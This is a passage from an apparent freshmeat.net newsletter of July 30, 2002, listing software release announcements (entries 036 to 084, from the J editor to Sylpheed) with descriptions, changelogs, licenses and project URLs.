(http://freshmeat.net/users/petergraves/) + Tuesday, July 30th 2002 16:58 + +Text Editors + +About: J is a multifile, multiwindow programmer's editor written entirely +in Java. It features syntax highlighting for Java, C, C++, XML, HTML, CSS, +JavaScript, Lisp, Perl, PHP, Python, Ruby, Scheme, Tcl/Tk, Verilog, and +VHDL, automatic indentation, directory buffers, regular expressions, +multifile find and replace, autosave and crash recovery, undo/redo, and +FTP/HTTP support. All keyboard mappings can be customized. Themes may be +used to customize the editor's appearance. + +Changes: This release adds support for named sessions. + +License: GNU General Public License (GPL) + +URL: http://freshmeat.net/projects/j/ + + - % - % - % - % - + +[036] - jmame 0.3-beta + by Joe Ceklosky (http://freshmeat.net/users/jceklosk/) + Tuesday, July 30th 2002 23:05 + + + +About: yyyyame is a Java-based frontend to XMAME. It uses the Swing toolkit +and uses XML to store all settings. + +Changes: A new abiltiy to verify ROMs using XMAME was added. The status +area also displays XMAME verify commands and output. make install and make +uninstall commands were also added to the Makefile (edit the Makefile to +change the default install location, which is /usr/local/jmame) + +License: GNU General Public License (GPL) + +URL: http://freshmeat.net/projects/yyyyame/ + + - % - % - % - % - + +[037] - Kadmos OCR/ICR engine 3.5q + by Tamas Nagy (http://freshmeat.net/users/nagytam/) + Tuesday, July 30th 2002 18:21 + +Multimedia :: Graphics +Software Development :: Libraries + +About: The Kadmos OCR/ICR (handwriting) recognition engine has multiple +languages support (it covers all Latin languages plus others). Interfaces +are available for C/C++/VB/Delphi, and Java upon request. It also has +isolated character (REC), isolated line (REL), and paragraph (REP) +recognition modules. + +Changes: New image manipulation functions were added to the API. + +License: Other/Proprietary License + +URL: http://freshmeat.net/projects/kadmos/ + + - % - % - % - % - + +[038] - Kallers 0.2.2 + by Nadeem Hasan (http://freshmeat.net/users/nhasan/) + Tuesday, July 30th 2002 10:57 + +Communications :: Telephony +Desktop Environment :: K Desktop Environment (KDE) + +About: Kallers is KDE system tray applet that displays the caller ID +information sent by phone companies. It requires a caller ID capable +modem. It logs every call internally using an XML format, displays call +infomation non- intrusively using a popup window, and optionally plays a +ring sound when a call is received. It can optionally ignore anonymous +calls. A handy call browser lets you view the call information. + +Changes: This release fixes anonymous call handling and adds a minor +layout fix in the call browser. + +License: GNU General Public License (GPL) + +URL: http://freshmeat.net/projects/kallers/ + + - % - % - % - % - + +[039] - Kemerge 0.6 + by Yannick Koehler (http://freshmeat.net/users/ykoehler/) + Tuesday, July 30th 2002 17:14 + +Desktop Environment :: K Desktop Environment (KDE) +System :: Installation/Setup +System :: Software Distribution Tools + +About: Kemerge is a KDE graphical front end for Gentoo portage tools. + +Changes: This release can filter the display of the ebuild list by all +possible columns using a regular expression. + +License: GNU General Public License (GPL) + +URL: http://freshmeat.net/projects/kemerge/ + + - % - % - % - % - + +[040] - KMencoder 0.1.2 + by RoLo (http://freshmeat.net/users/rolosworld/) + Tuesday, July 30th 2002 03:48 + +Desktop Environment :: K Desktop Environment (KDE) :: Themes KDE 3.x +Multimedia +Multimedia :: Sound/Audio + +About: KMencoder is a frontend for Mplayer/Mencoder. + +Changes: Added a pass-3 method, a kmencoder.spec file, VCD options, and +Spanish and German translations. Some minor fixes were made. + +License: GNU General Public License (GPL) + +URL: http://freshmeat.net/projects/kmencoder/ + + - % - % - % - % - + +[041] - KMyIRC 0.2.2 (Alpha) + by shermann (http://freshmeat.net/users/shermann/) + Tuesday, July 30th 2002 10:08 + +Communications :: Chat :: Internet Relay Chat +Desktop Environment :: K Desktop Environment (KDE) :: Themes KDE 3.x +Internet + +About: KMyIRC is an attempt to provide an IRC client for KDE which is +high-quality and easy to use, but not bloated. It was created because it +was felt that the other KDE-based IRC clients were either not +user-friendly or burdened with features that are not useful to the average +IRC user. + +Changes: This release adds highlight phrases, timestamps in channel +output, and the ability to disable the server list at startup. It fixes +some nasty and serious bugs in 0.2.1. + +License: GNU General Public License (GPL) + +URL: http://freshmeat.net/projects/kmyirc/ + + - % - % - % - % - + +[042] - koalaXML 0.3.0 + by Ricardo Zuasti (http://freshmeat.net/users/rzuasti/) + Tuesday, July 30th 2002 12:52 + +Software Development :: Libraries :: Java Libraries +Text Processing :: Markup :: XML + +About: koaLaXML is an extremely simple Java XML data type. It is very +useful as a parameter or return type, as well as a class property type. It +is object-oriented, and supports a varied range of type values (int, +double, dates, etc.) as well as attributes and nested tags. + +Changes: Removal of scriptlet support, the first complete JavaDoc, a major +API redesign, support for multiple tags with the same name, requirement of +a root tag, and iterative sibling access (hasMoreSiblings()/nextSibling() +combo). + +License: GNU Lesser General Public License (LGPL) + +URL: http://freshmeat.net/projects/koalaxml/ + + - % - % - % - % - + +[043] - Koch-Suite 0.7 (Development) + by Michael Lestinsky (http://freshmeat.net/users/lestinsky/) + Tuesday, July 30th 2002 12:57 + +Database + +About: Koch-Suite helps you to manage your recipes. It is written in PHP +and uses MySQL/PostgreSQL. + +Changes: The user model has changed since 0.6; users are classified +hierarchically and there is a new administration interface. The navigation +between the individual parts and the Internationalization has been +improved (there is a new preliminary Spanish translation). The data model +has changed slightly to deal with metadata, such as the source of a recipe +or the date of recording. Plenty bugfixes were done, too. + +License: BSD License + +URL: http://freshmeat.net/projects/koch-suite/ + + - % - % - % - % - + +[044] - Lago 0.5.2-gcc3.patch + by Emanuele Fornara (http://freshmeat.net/users/lago/) + Tuesday, July 30th 2002 18:02 + +Database :: Database Engines/Servers + +About: Lago is a portable (Linux/Windows), multi-threaded database written +in C++. + +Changes: This patch allows you to compile Lago with the latest versions of +the GNU Compiler. A few bugs have also been fixed. + +License: GNU General Public License (GPL) + +URL: http://freshmeat.net/projects/lago/ + + - % - % - % - % - + +[045] - libdv 0.98 + by Charles 'Buck' Krasic (http://freshmeat.net/users/krasic/) + Tuesday, July 30th 2002 17:00 + +Multimedia :: Video + +About: The Quasar DV codec (libdv) is a software codec for DV video, the +encoding format used by most digital camcorders, typically those that +support the IEEE 1394 (a.k.a. FireWire or i.Link) interface. libdv was +developed according to the official standards for DV video: IEC 61834 and +SMPTE 314M. + +Changes: Many contributed bugfiixes and minor feature updates. + +License: GNU General Public License (GPL) + +URL: http://freshmeat.net/projects/libdv/ + + - % - % - % - % - + +[046] - Lindenmayer Systems in Python 1.0 + by Eleventh Hour (http://freshmeat.net/users/xihr/) + Tuesday, July 30th 2002 17:52 + +Scientific/Engineering :: Artificial Intelligence +Scientific/Engineering :: Mathematics +Text Processing :: General + +About: Lindenmayer Systems in Python provides a simple implementation of +Lindenmayer systems (also called "L-systems" or "substitution systems"). +In basic form, a Lindenmayer system consists of a starting string of +symbols from an alphabet which has repeated transitions applied to it, +specified by a list of transition search-and-replace rules. In addition to +the standard formulation, two alternative implementations are included: +sequential systems (in which at most one rule is applied) and tag systems +(in which the transition only takes place at the beginning and end of the +string). Despite being implemented entirely in Python, for reasonable +rules on a modern machine, the system is capable of running thousands of +generations per second. Lindenmayer systems are found in artificial +intelligence and artificial life and can be used to generate fractal +patterns (usually via mapping symbols from the alphabet to turtle +commands), organic-looking patterns that can simulate plants or other +living things, or even music. + +License: GNU General Public License (GPL) + +URL: http://freshmeat.net/projects/lsystem/ + + - % - % - % - % - + +[047] - LM-Solve 0.5.6 (Development) + by Shlomi Fish (http://freshmeat.net/users/shlomif/) + Tuesday, July 30th 2002 01:55 + +Games/Entertainment :: Puzzle Games + +About: LM-Solve is a solver for several types of the puzzles present on +the Logic Mazes site. It currently supports Alice Mazes, Number Mazes, and +Theseus and the Minotaur Mazes. + +Changes: A non-portable RPM macro was replaced with a plain text command. +A small piece of the code as been made more Perl-ish and more robust. + +License: Public Domain + +URL: http://freshmeat.net/projects/lm-solve/ + + - % - % - % - % - + +[048] - MKDoc 1.4 + by Chris Croome (http://freshmeat.net/users/chriscroome/) + Tuesday, July 30th 2002 10:43 + +Internet :: WWW/HTTP :: Site Management + +About: MKDoc is a Web site building, serving, and content management tool +that has been designed to encourage the use of good information +architecture and the production of accessible Web sites. It provides +different ways for the public to interact with and navigate between +documents, including a sitemap, search facility, Dublin Core XML / RDF +metadata for documents, and printer versions of pages. All management, +document creation, editing, and organizing is done via a standard web +browser. The look is controlled using templates. MKDoc uses Unicode/UTF-8 +throughout and can support all languages, including right-to-left +languages. + +Changes: This release features support for right-to-left languages, a +photo component which dynamically generates thumbnails and scaled images, +and support for HTTP authentication (so cookies are no longer required). + +License: Other/Proprietary License with Source + +URL: http://freshmeat.net/projects/mkdoc/ + + - % - % - % - % - + +[049] - mksysdisp 0.1.4 + by Peter (http://freshmeat.net/users/darthludi/) + Tuesday, July 30th 2002 13:00 + +System :: Boot + +About: mksysdisp is a simple program which converts text to SYSLinux +messages. It allows you to create a boot-message for a SYSLinux bootdisk. +It understands keyboard and file input. + +Changes: A new ability to start without passing arguments. + +License: GNU General Public License (GPL) + +URL: http://freshmeat.net/projects/mksysdisp/ + + - % - % - % - % - + +[050] - Mondo 0.7 (Stable) + by Kelledin (http://freshmeat.net/users/kelledin/) + Tuesday, July 30th 2002 13:00 + +System :: Monitoring + +About: Mondo is a very simplistic health monitoring daemon that relies on +lm_sensors. It is capable of monitoring whatever settings you're willing +to assign a label to in your sensors.conf file. It provides the same +function as Motherboard Monitor, except it lacks a GUI interface and is +specific to Linux. + +Changes: This release implements proper SIGCHILD handling to fix a +resource consumption bug. + +License: GNU General Public License (GPL) + +URL: http://freshmeat.net/projects/mondo-daemon/ + + - % - % - % - % - + +[051] - Mysql-sdb 0.1a + by Mihai Chelaru (http://freshmeat.net/users/Koifren/) + Tuesday, July 30th 2002 11:05 + +Database +Internet :: Name Service (DNS) + +About: Mysql-sdb provides support for using a MySQL database to store the +data for a DNS zone in BIND 9. + +Changes: This release adds numerous bugfixes and code cleaning. An +already-patched version of bind-9.2.1 is now available on the Web site. + +License: GNU General Public License (GPL) + +URL: http://freshmeat.net/projects/bind-mysql/ + + - % - % - % - % - + +[052] - NNTPobjects 0.9 + by fharmon (http://freshmeat.net/users/fharmon/) + Tuesday, July 30th 2002 00:43 + +Communications :: Usenet News +Utilities + +About: NNTPobjects is a collection of C++ classes for easily creating +simple or advanced NNTP clients. It enables novice and advanced C++ +programmers to quickly write small utilities, or even full-featured NNTP +clients. + +License: GNU General Public License (GPL) + +URL: http://freshmeat.net/projects/nntpobjects/ + + - % - % - % - % - + +[053] - ogmtools 0.7 + by Moritz Bunkus (http://freshmeat.net/users/Mosu/) + Tuesday, July 30th 2002 18:39 + +Multimedia :: Sound/Audio :: Conversion +Multimedia :: Video :: Conversion + +About: The ogmtools allow users to display information about (ogminfo), +extract streams from (ogmdemux), and merge several streams into (ogmmerge) +Ogg files. Supported stream types include video streams from AVIs or Ogg +files and Vorbis audio from Ogg files. The resulting files can be played +back with mplayer or with the OggDS Direct Show filters under Windows. + +License: GNU General Public License (GPL) + +URL: http://freshmeat.net/projects/ogmtools/ + + - % - % - % - % - + +[054] - One-Wire Weather 0.67.10 + by Dr. Simon J. Melhuish (http://freshmeat.net/users/sjmelhuish/) + Tuesday, July 30th 2002 10:46 + +Scientific/Engineering + +About: Oww (One-Wire Weather) is a client program for Dallas Semiconductor +/ AAG 1-wire weather station kits, providing a graphical (animated) +display to monitor outside temperature, wind speed and direction, +rainfall, and humidity. Extra temperature sensors may be added. A 1-wire +"hub" may be used for improved reliability and range. Weather data may be +logged to CSV files, parsed to command line programs, sent to the +Henriksen Windows client, or uploaded to Web servers at Dallas, The +Weather Underground, and HAMweather. + +Changes: A server has been added to send data to clients in a user-set +parser format. Up to 8 counters may now be assigned for general-purpose +counting, such as for lightning detectors. + +License: Artistic License + +URL: http://freshmeat.net/projects/oww/ + + - % - % - % - % - + +[055] - Open Remote Collaboration Tool 1.0.1 + by Thomas Amsler (http://freshmeat.net/users/amsler/) + Tuesday, July 30th 2002 18:06 + +Communications :: Chat +Education +Internet + +About: OpenRCT is a multidisciplinary effort to enhance collaboration +between people who are not co-located in time and space. It is a platform +independent multimedia tool that supports synchronous and/or asynchronous +communication. + +License: GNU General Public License (GPL) + +URL: http://freshmeat.net/projects/openrct/ + + - % - % - % - % - + +[056] - OpenCL 0.8.7 + by Jack Lloyd (http://freshmeat.net/users/randombit/) + Tuesday, July 30th 2002 18:09 + +Security :: Cryptography + +About: OpenCL is a library of cryptographic algorithms, written in C++. It +currently includes a wide selection of block and stream ciphers, public +key algorithms, hash functions, and message authentication codes, plus a +high level filter-based interface. + +Changes: This release fixes a major bug in OpenCL involving a possible +crash at application shutdown. Problems in EME1 and EMSA4, and various +minor bugs, were also fixed. + +License: BSD License + +URL: http://freshmeat.net/projects/opencl/ + + - % - % - % - % - + +[057] - OpenEJB 0.8 Final + by David Blevins (http://freshmeat.net/users/dblevins/) + Tuesday, July 30th 2002 00:38 + +Software Development :: Libraries :: Application Frameworks +Software Development :: Object Brokering :: CORBA + +About: OpenEJB is a pre-built, self-contained, portable EJB container +system that can be plugged into any server environment including +application servers, Web servers, J2EE platforms, CORBA ORBs, databases, +etc. + +Changes: Enhancements in this release include a telnet admin console with +server status commands, a remote server stop command for the openejb.bat +and openejb.sh scripts, and a remote server stop class callable from Ant +or other client code. Source code generation is no longer included, and +the remote server is now stopped after tests have run. A JDK 1.4 +IncompatibleClassChangeError in KeyGeneratorFactory was fixed, along with +a problem where the host java.sun.com could not be found. + +License: BSD License + +URL: http://freshmeat.net/projects/openejb/ + + - % - % - % - % - + +[058] - OpenOffice Indexer 0.1 (Development) + by jerger (http://freshmeat.net/users/jerger/) + Tuesday, July 30th 2002 05:44 + +Office/Business :: Office Suites +Text Processing :: Markup :: XML +Utilities + +About: OpenOffice Indexer generates an index for OpenOffice.org +documents. It can extract keywords and make documents accessible for +various keyword systems. + +Changes: This version can recursively scan for documents, parse for +keywords, and write a catalog to an index.html file. + +License: GNU General Public License (GPL) + +URL: http://freshmeat.net/projects/oofficeindexer/ + + - % - % - % - % - + +[059] - OSSP cfg 0.9.0 + by Ralf S. Engelschall (http://freshmeat.net/users/rse/) + Tuesday, July 30th 2002 19:01 + +Software Development :: Libraries +System :: Operating System +Text Processing + +About: OSSP cfg is a ISO-C library for parsing arbitrary C/C++-style +configuration files. A configuration is sequence of directives, each +directive consists of zero or more tokens, and each token can be either a +string or again a complete sequence. This means the configuration syntax +has a recursive structure and allows you to create configurations with +arbitrarily-nested sections. The configuration syntax also provides +complex single/double/balanced quoting of tokens, +hexadecimal/octal/decimal character encodings, character escaping, C/C++ +and shell-style comments, etc. The library API allows importing of a +configuration text into an Abstract Syntax Tree (AST), traversing the AST, +and optionally exporting the AST again as a configuration text. + +License: MIT/X Consortium License + +URL: http://freshmeat.net/projects/cfg/ + + - % - % - % - % - + +[060] - OSSP fsl 0.1.12 + by Ralf S. Engelschall (http://freshmeat.net/users/rse/) + Tuesday, July 30th 2002 19:00 + +Software Development :: Libraries +System :: Logging + +About: OSSP fsl offers the syslog API otherwise provided by libc. Instead +of writing to the syslogd process, it uses the powerful OSSP l2 logging +capabilities. It is a drop-in link-time replacement which enables any +syslog consumer to take advantage of OSSP l2 by just linking this library +in before libc. The program is intended to apply OSSP l2 functionality to +existing syslog-based third-party programs without the requirement to +change the source code of the program. + +License: MIT/X Consortium License + +URL: http://freshmeat.net/projects/fsl/ + + - % - % - % - % - + +[061] - OSSP l2 0.9.0 + by Ralf S. Engelschall (http://freshmeat.net/users/rse/) + Tuesday, July 30th 2002 19:01 + +Software Development :: Libraries +System :: Logging + +About: OSSP l2 is a C library providing a very flexible and sophisticated +Unix logging facility. It is based on the model of arbitrary number of +channels, stacked together in a top-down data flow tree structure with +filtering channels in internal nodes and output channels on the leave +nodes. Channel trees can be either constructed manually through +lower-level API functions or all at once with a single API function +controlled by a compact syntactical description of the channel tree. For +generating log messages, a printf-style formatting engine is provided +which can be extended through callback functions. The data flow inside the +channel tree is controlled by logging message severity levels which are +assigned to each individual channel. + +License: MIT/X Consortium License + +URL: http://freshmeat.net/projects/l2/ + + - % - % - % - % - + +[062] - Papercut NNTP Server 0.8.3 + by João Prado Maia (http://freshmeat.net/users/jcpm/) + Tuesday, July 30th 2002 00:34 + +Communications :: Usenet News +Software Development :: Libraries :: Python Modules + +About: Papercut is a multi-threaded NNTP server written in Python. Its +main objective is to integrate existing Web-based message board software +(Phorum on the first few versions) with a Usenet front-end. However, its +extensibility enables developers to write their own container for the +storage of the Usenet articles (messages). That means that the code is +extensible enough that you could write new containers to integrate the +news server with other Web message board projects or even other ways to +store the messages. + +Changes: The various storage modules have been redesigned, and initial +code for NTTP authentication was added. New features include a standalone +MySQL storage module with no Web front-end, an authentication module for +Phorum, and the concept of a 'read-only' / 'read-write' server with +password protection. Most (if not all) of the features are working. + +License: BSD License + +URL: http://freshmeat.net/projects/papercut/ + + - % - % - % - % - + +[063] - PEANUTS 1.03 + by JP Durman (http://freshmeat.net/users/johnnyplayer/) + Tuesday, July 30th 2002 06:18 + +System :: Systems Administration +Utilities + +About: PEANUTS is a console-based Internet user management system, which +is perfect for system administrators who normally do things like adding +virtual hosts or new users by hand. It allows such tasks to me completely + automated. + +Changes: The directories for Web and system users are automatically +created when the first user is installed. Deletion of users and websites +is now possible. The menu is now somewhat more user friendly. Webalizer +config files are now stored in a users' own directory, and the domains +belonging to each user are now tracked better. + +License: GNU General Public License (GPL) + +URL: http://freshmeat.net/projects/peanuts/ + + - % - % - % - % - + +[064] - PHP Online RPG 1.1 + by Adam (http://freshmeat.net/users/atomical2a/) + Tuesday, July 30th 2002 21:35 + +Games/Entertainment +Games/Entertainment :: Role-Playing + +About: The PHP Online RPG uses open-ended object programming and HTML +tables to create a vast world. + +Changes: Several speedups (including a one-second load time with the local +MySQL server on reasonable hardware). In order to program in this RPG you +have to use a MySQL client for now, due to Webhosting issues. + +License: GNU General Public License (GPL) + +URL: http://freshmeat.net/projects/phpolrpg/ + + - % - % - % - % - + +[065] - phpMyAdmin 2.3.0-rc4 (Unstable) + by Loic (http://freshmeat.net/users/loic1/) + Tuesday, July 30th 2002 10:56 + +Database :: Front-Ends +System :: Systems Administration + +About: phpMyAdmin is a tool written in PHP intended to handle the +administration of MySQL over the WWW. Currently it can create and drop +databases, create/drop/alter tables, delete/edit/add fields, execute any +SQL statement, manage keys on fields, create dumps of tables and +databases, export/import CSV data and administrate one single database and +multiple MySQL servers. + +Changes: A new and far more valuable SQL pre-parser has been implemented. +Some little bugs have been fixed and some translations completed. This +should be the last release candidate. + +License: GNU General Public License (GPL) + +URL: http://freshmeat.net/projects/phpmyadmin/ + + - % - % - % - % - + +[066] - PHPTalk 0.9 + by joestump98 (http://freshmeat.net/users/joestump98/) + Tuesday, July 30th 2002 17:15 + +Communications :: BBS +Internet :: WWW/HTTP :: Dynamic Content :: Message Boards + +About: PHPTalk aims to be the fastest and most configurable multithreaded +message board system available. It has the usual features like +multithreading, auto indexing of messages (for searching), customizable +colors, etc. However, PHPTalk differs in that it allows you to easily +integrate it into existing sites. It does this by not relying on specific +display files, allowing you to template most of the frontend, and allowing +you to specify an already existing user table. Also included is a DBI for +portability, ANSI SQL for portability, an advanced and documented API, +full multilingual support, and full i18n support for date functions. + +Changes: This release has migrated to PEAR. It has an expanded API, major +code cleanups, increased i18n support, and many minor bugfixes. + +License: GNU General Public License (GPL) + +URL: http://freshmeat.net/projects/phptalk/ + + - % - % - % - % - + +[067] - phpTest 0.6.1 + by Brandon Tallent (http://freshmeat.net/users/djresonance/) + Tuesday, July 30th 2002 18:01 + +Education :: Testing +Internet :: WWW/HTTP :: Dynamic Content + +About: phpTest is a Web-based testing program. It provides an environment +to take multiple choice or true/false quizzes. It is designed to be +modular and flexible. An administrator can add any number of questions, +tests, users, and groups. Once a test is created, a user can log in to +take the test, and his test results are scored automatically and stored in +the database for easy viewing. It includes features designed to prevent +cheating, such as randomization of questions on tests, and security +logging for unauthorized access to pages. + +Changes: Options have been added to limit the number of times someone can +retake a test, to not let someone retake a test once they've passed it, +and to allow html in questions. Many bugs have been fixed. + +License: GNU General Public License (GPL) + +URL: http://freshmeat.net/projects/phptest/ + + - % - % - % - % - + +[068] - php_passport_check 0.1 + by yetanothername (http://freshmeat.net/users/yetanothername/) + Tuesday, July 30th 2002 19:01 + +Internet :: WWW/HTTP :: Dynamic Content :: CGI Tools/Libraries + +About: php_passport_check is a function to check the validity of a +passport ID (the last line of a passport). + +License: GNU General Public License (GPL) + +URL: http://freshmeat.net/projects/php_passport_check/ + + - % - % - % - % - + +[069] - php_writeexcel 0.1.1 + by Jonny (http://freshmeat.net/users/jonnyh/) + Tuesday, July 30th 2002 17:11 + +Office/Business +Office/Business :: Office Suites +Software Development :: Libraries :: PHP Classes + +About: php_writeexcel is a port of John McNamara's excellent +Spreadsheet::WriteExcel Perl package to PHP. It allows you to generate +Microsoft Excel documents on your PHP enabled Web server without any +other tools. + +Changes: Several PHP warnings regarding call-time pass-by-reference and +undefined constants have been fixed. + +License: GNU Lesser General Public License (LGPL) + +URL: http://freshmeat.net/projects/php_writeexcel/ + + - % - % - % - % - + +[070] - poweroff 0.4 + by Klaus Heuschneider (http://freshmeat.net/users/hksoft/) + Tuesday, July 30th 2002 01:58 + +System :: Hardware + +About: poweroff is a tool that allows you to power up or power down a PC +system over serial line using a few pieces of additional hardware. + +Changes: Some bugfixes were added, along with a new hardware circuit for +ATX mainboards. + +License: GNU General Public License (GPL) + +URL: http://freshmeat.net/projects/poweroff/ + + - % - % - % - % - + +[071] - PPPOEd 0.49 + by Amy Fong (http://freshmeat.net/users/afong/) + Tuesday, July 30th 2002 23:10 + +System :: Networking + +About: PPPOEd is another PPP-over-Ethernet implementation. It splits +functionality between kernel and user space and includes a user space +program, pppoed, for discovery and connection management. + +Changes: Bugfixes and pppoed feature enhancements to the Install script. + +License: GNU General Public License (GPL) + +URL: http://freshmeat.net/projects/pppoed/ + + - % - % - % - % - + +[072] - QtMyAdmin 0.4 + by Marcin Jankowski (http://freshmeat.net/users/marcinjankowski/) + Tuesday, July 30th 2002 21:37 + +Database :: Front-Ends +System :: Systems Administration + +About: QtMyAdmin is a tool intended to handle the administration of MySQL, +just like PHPMyAdmin does. + +Changes: Privilege management is now visualised as a MListWidgets widget, +which makes it more comfortable to use. The graphical interface is +beautified by many colorful pixmaps on buttons and in menu. There is also +some major code reorganization, a few rewrites, and a few bugfixes, and a +first RPM package is available. + +License: GNU General Public License (GPL) + +URL: http://freshmeat.net/projects/qtmyadmin/ + + - % - % - % - % - + +[073] - Quantum GIS 0.0.2 (Development) + by Mrcc (http://freshmeat.net/users/mrccalaska/) + Tuesday, July 30th 2002 03:47 + + + +About: Quantum GIS (QGIS) is a Geographic Information System (GIS) for +Linux/Unix. It will offer support for vector and raster formats. It +currently supports spatially enabled tables in PostgreSQL using PostGIS. +Due to the complexity of creating a feature-rich GIS application, support +for various data stores will be added in a phased approach. Ultimately, it +will be able to read and edit shape files, display geo-referenced rasters +(TIFF, PNG, and GEOTIFF), create map output, and support database tables. +A plugin feature to dynamically add new functionality is planned. + +Changes: This release includes improved rendering of map layers, zoom and +pan capability, and other minor improvements. + +License: GNU General Public License (GPL) + +URL: http://freshmeat.net/projects/qgis/ + + - % - % - % - % - + +[074] - RedBase Pure Java RDBMS 1.5 + by Bungisoft, Inc. (http://freshmeat.net/users/ilyaverlinsky/) + Tuesday, July 30th 2002 05:55 + +Database +Database :: Database Engines/Servers +Database :: Front-Ends + +About: RedBase Pure Java RDBMS is a 100% Pure Java database, with an +ultra-compact footprint designed for rapidly developing applications that +extend enterprise data management capabilities, to mobile and embedded +devices. It is ideal for mobile, wireless, and embedded applications, and +it delivers essential relational database functionality in a small +footprint, while providing flexible data access, and the familiar feel +through entry SQL-92 compliance, and JDBC access. + +Changes: This release has support for the ALTER statement and improved +support for triggers and views. It is optimized to increase performance. A +Swing database manager has been added. The distribution has been +configured to have multiple jar files based on features needed. + +License: Other/Proprietary License with Free Trial + +URL: http://freshmeat.net/projects/redbase/ + + - % - % - % - % - + +[075] - RH Email Server 0.9.8.1 + by PolyWog (http://freshmeat.net/users/erecio/) + Tuesday, July 30th 2002 12:56 + +Communications :: Email +Communications :: Email :: Address Book +Communications :: Email :: Email Clients (MUA) + +About: The RH Email Server uses OpenLDAP authentication for IMAP, POP3, +SMTP, and SSL/TLS protocols. It includes a Web interface, administration, +and filters. + +Changes: Updating RHSDADM to allow delegated Admins, an updated group/user +add/edit interface, new mailbox browsing for users, and an updated IMP to +allow for vacation messages, auto-replys, and auto-forward filters via +Sieve. + +License: GNU General Public License (GPL) + +URL: http://freshmeat.net/projects/rhems/ + + - % - % - % - % - + +[076] - S/MIME Library for Java 1.5.0 + by Josh Eckels (http://freshmeat.net/users/jeckels/) + Tuesday, July 30th 2002 01:57 + +Communications :: Email +Security :: Cryptography +Software Development :: Libraries + +About: The ISNetworks S/MIME library adds to JavaMail a complete set of +S/MIME Cryptographic functions including digital signing, signature +verification, encryption, and decryption. Non-profit organizations can +acquire a free license to the product by contacting ISNetworks. + +Changes: This release includes JavaMail 1.3 and JAF 1.0.2, adds a new +example program and GUI, and contains minor API enhancements. + +License: Other/Proprietary License with Free Trial + +URL: http://freshmeat.net/projects/smime/ + + - % - % - % - % - + +[077] - Secure FTP Wrapper 2.5.2 + by glub (http://freshmeat.net/users/glub/) + Tuesday, July 30th 2002 13:17 + +Internet :: File Transfer Protocol (FTP) +Security +Security :: Cryptography + +About: Secure FTP Wrapper is a server based package that enables an +existing FTP server to become a Secure FTP server. In this release the +wrapper allows a Secure Sockets Layer (SSL) connection to be made to your +FTP server. + +Changes: A fix for a memory leak. + +License: Other/Proprietary License with Free Trial + +URL: http://freshmeat.net/projects/ftpswrap/ + + - % - % - % - % - + +[078] - Server optimized Linux 15.00 + by antitachyon (http://freshmeat.net/users/antitachyon/) + Tuesday, July 30th 2002 10:42 + +System :: Boot :: Init +System :: Networking :: Firewalls +System :: Operating System + +About: SoL (Server optimized Linux) is a Linux distribution completely +independent from other Linux distributions. It was built from the original +source packages and is optimized for heavy-duty server work. It contains +all common server applications, and features XML boot and script +technology that makes it easy to configure and make the server work. + +Changes: The server packages have been updated to the newest possible +versions and more server applications were added. A SoL-diskless system +has been added, which provides a small server operating and education +system; it was made for quick and easy hardware diagnosis, rescue of +broken Linux installations, and benchmarking. + +License: GNU General Public License (GPL) + +URL: http://freshmeat.net/projects/sol/ + + - % - % - % - % - + +[079] - Sharp Tools Spreadsheet 1.4 (Stable) + by Hua Zhong (http://freshmeat.net/users/huaz/) + Tuesday, July 30th 2002 05:49 + +Office/Business :: Financial :: Spreadsheet + +About: Sharp Tools is a spreadsheet written in Java. It features full +formula support (nested functions, auto-updating, and relative/absolute +addressing), a file format compatible with other spreadsheets, printing +support, undo/redo, a clipboard, sorting, data exchange with Excel, +histogram generation, and a built-in help system. + +Changes: It is now compatible with JDK 1.4, and the row and column +insertion bugs were fixed, along with some other problems. + +License: GNU General Public License (GPL) + +URL: http://freshmeat.net/projects/sharptools/ + + - % - % - % - % - + +[080] - Simple TCP Re-engineering Tool 0.8.0 + by Rémi Denis-Courmont (http://freshmeat.net/users/rdenisc/) + Tuesday, July 30th 2002 13:05 + +System :: Networking :: Monitoring +Utilities + +About: Simple TCP Re-engineering Tool monitors and analyzes data +transmitted between a client and a server via a TCP connection. It focuses +on the data stream (software layer), not on the lower level transmission +protocol (as packet sniffers do). + +Changes: A different log file format, support for multiple subsequent +connections, gettext support (French translation available), various +bugfixes, out-of-band data inlining, and session length limitation. + +License: GNU General Public License (GPL) + +URL: http://freshmeat.net/projects/tcpreen/ + + - % - % - % - % - + +[081] - SimpleFirewall 0.7-2 + by Luis Wong (http://freshmeat.net/users/lwong/) + Tuesday, July 30th 2002 12:59 + +Documentation +Internet :: Proxy Servers +Internet :: WWW/HTTP :: Dynamic Content :: CGI Tools/Libraries + +About: Simple Firewall is a easy tool for administration of users and +access control. It uses iptables for packet filtering, and saves rules +with XML. It can be run in bash and over the Web via webmin. + +Changes: A dynamic transparent proxy, and a fix for IP detection in +interfaces. + +License: GNU General Public License (GPL) + +URL: http://freshmeat.net/projects/simplefirewall/ + + - % - % - % - % - + +[082] - sKaBurn 0.1 + by sKaBoy (http://freshmeat.net/users/lucaognibene/) + Tuesday, July 30th 2002 18:37 + +System :: Archiving :: Backup + +About: sKaBurn is a Perl frontend to cdrecord/cdda2wav/normalize/sox and +more, aimed to make audio CD from list of files, an XMMS playlist, another +audio CD, or another source. + +License: GNU General Public License (GPL) + +URL: http://freshmeat.net/projects/skaburn/ + + - % - % - % - % - + +[083] - Station Location and Information 1.2 + by John Kodis (http://freshmeat.net/users/kodis/) + Tuesday, July 30th 2002 10:48 + +Communications :: Ham Radio + +About: The station-info program searches for and displays AM, FM, and TV +station entries from databases supplied by the US Federal Communications +Commission (FCC). It provides many ways of selecting a collection of +stations for display, and several criteria by which these stations can be +sorted. Detailed information on each station is available, including an +antenna radiation pattern, ownership information, and whatever else seems +useful. + +Changes: This release adds correct displaying of antenna patterns +(previously, they were shown rotated, reversed, and upside down). It also +adds a compass rose and the station callsign to the antenna pattern +display. It accepts station callsigns as location specifications. It +avoids trying to draw in details windows that have been closed. All the +cdbs and .loc files have been moved to $PKGDATADIR (by default, +/usr/local/share/station-info/). + +License: GNU General Public License (GPL) + +URL: http://freshmeat.net/projects/station-info/ + + - % - % - % - % - + +[084] - Sylpheed 0.8.1claws (Claws) + by Paul Mangan (http://freshmeat.net/users/daWB/) + Tuesday, July 30th 2002 18:38 + +Communications :: Email :: Email Clients (MUA) + +About: Sylpheed is a GTK+ based, lightweight, and fast email client. +Almost all commands are accessible with the keyboard. It also has many +features such as multiple accounts, POP3/APOP support, thread display, and +multipart MIME. One of Sylpheed's future goals is to be fully +internationalized. The messages are managed in the MH format, so you'll be +able to use it together with another mailer that uses the MH format. + +Changes: This release fixes the IMAP slowdown, plugs several memory leaks, +adds a script to enable sending documents as 